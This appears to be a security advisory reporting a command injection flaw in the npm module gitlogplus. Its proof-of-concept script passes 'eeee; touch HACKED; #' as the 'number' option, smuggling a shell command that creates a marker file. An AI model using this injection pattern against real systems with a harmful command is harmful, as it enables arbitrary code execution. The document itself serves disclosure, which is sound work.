Description

The gitlogplus module is vulnerable against an arbitrary command injection issue which is made possible since some user-inputs are executed inside a command which doesn't have validations of any kind.

POC

1. Create the following PoC file:

// poc.js
var git = require('gitlogplus');
git({repo:'.', number:'eeee; touch HACKED; #'})

2. Check there aren't files called HACKED
3. Execute the following commands in another terminal:

npm i gitlogplus # Install affected module
node poc.js #  Run the PoC

4. Recheck the files: now HACKED has been created